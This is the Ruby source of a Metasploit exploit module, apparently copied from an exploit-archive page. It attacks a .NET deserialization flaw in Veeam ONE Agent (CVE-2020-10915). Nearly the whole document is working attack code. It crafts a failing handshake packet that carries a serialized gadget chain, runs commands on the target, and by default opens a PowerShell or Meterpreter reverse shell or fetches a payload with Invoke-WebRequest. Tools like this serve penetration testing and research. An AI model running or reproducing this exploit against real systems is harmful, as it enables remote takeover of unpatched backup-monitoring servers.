Share
## https://sploitus.com/exploit?id=PACKETSTORM:157529
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = NormalRanking  
  
include Msf::Exploit::Remote::Tcp  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Veeam ONE Agent .NET Deserialization',  
'Description' => %q{  
This module exploits a .NET deserialization vulnerability in the Veeam  
ONE Agent before the hotfix versions 9.5.5.4587 and 10.0.1.750 in the  
9 and 10 release lines.  
  
Specifically, the module targets the HandshakeResult() method used by  
the Agent. By inducing a failure in the handshake, the Agent will  
deserialize untrusted data.  
  
Tested against the pre-patched release of 10.0.0.750. Note that Veeam  
continues to distribute this version but with the patch pre-applied.  
},  
'Author' => [  
'Michael Zanetta', # Discovery  
'Edgar Boda-Majer', # Discovery  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-10914'],  
['CVE', '2020-10915'], # This module  
['ZDI', '20-545'],  
['ZDI', '20-546'], # This module  
['URL', 'https://www.veeam.com/kb3144']  
],  
'DisclosureDate' => '2020-04-15', # Vendor advisory  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
],  
[  
'Windows Dropper',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'  
}  
],  
[  
'PowerShell Stager',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
]  
],  
'DefaultTarget' => 2,  
'DefaultOptions' => {  
'WfsDelay' => 10  
},  
'Notes' => {  
'Stability' => [SERVICE_RESOURCE_LOSS], # Connection queue may fill?  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
Opt::RPORT(2805),  
OptString.new(  
'HOSTINFO_NAME',  
[  
true,  
'Name to send in host info (must be recognized by server!)',  
'AgentController'  
]  
)  
])  
end  
  
def check  
vprint_status("Checking connection to #{peer}")  
connect  
  
CheckCode::Detected("Connected to #{peer}.")  
rescue Rex::ConnectionError => e  
CheckCode::Unknown("#{e.class}: #{e.message}")  
ensure  
disconnect  
end  
  
def exploit  
print_status("Connecting to #{peer}")  
connect  
  
print_status("Sending host info to #{peer}")  
sock.put(host_info(datastore['HOSTINFO_NAME']))  
  
res = sock.get_once  
vprint_good("<-- Host info reply: #{res.inspect}") if res  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
# TODO: Create an option to execute the full stager without hacking  
# :linemax or calling execute_command(generate_cmdstager(...).join(...))  
execute_cmdstager(  
flavor: :psh_invokewebrequest, # NOTE: This requires PowerShell >= 3.0  
linemax: 9001 # It's over 9000  
)  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
rescue EOFError, Rex::ConnectionError => e  
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")  
ensure  
disconnect  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Serializing command: #{cmd}")  
  
serialized_payload = Msf::Util::DotNetDeserialization.generate(  
cmd,  
gadget_chain: :TextFormattingRunProperties,  
formatter: :BinaryFormatter # This is _exactly_ what we need  
)  
  
print_status("Sending malicious handshake to #{peer}")  
sock.put(handshake(serialized_payload))  
  
res = sock.get_once  
vprint_good("<-- Handshake reply: #{res.inspect}") if res  
rescue EOFError, Rex::ConnectionError => e  
fail_with(Failure::Unknown, "#{e.class}: #{e.message}")  
end  
  
def host_info(name)  
meta = [0x0205].pack('v')  
packed_name = [name.length].pack('C') + name  
  
pkt = meta + packed_name  
  
vprint_good("--> Host info packet: #{pkt.inspect}")  
pkt  
end  
  
def handshake(serialized_payload)  
# A -1 status indicates a failure, which will trigger the deserialization  
status = [-1].pack('l<')  
  
length = status.length + serialized_payload.length  
type = 7  
attrs = 1  
kontext = 0  
  
header = [length, type, attrs, kontext].pack('VvVV')  
padding = "\x00" * 18  
result = status + serialized_payload  
  
pkt = header + padding + result  
  
vprint_good("--> Handshake packet: #{pkt.inspect}")  
pkt  
end  
  
end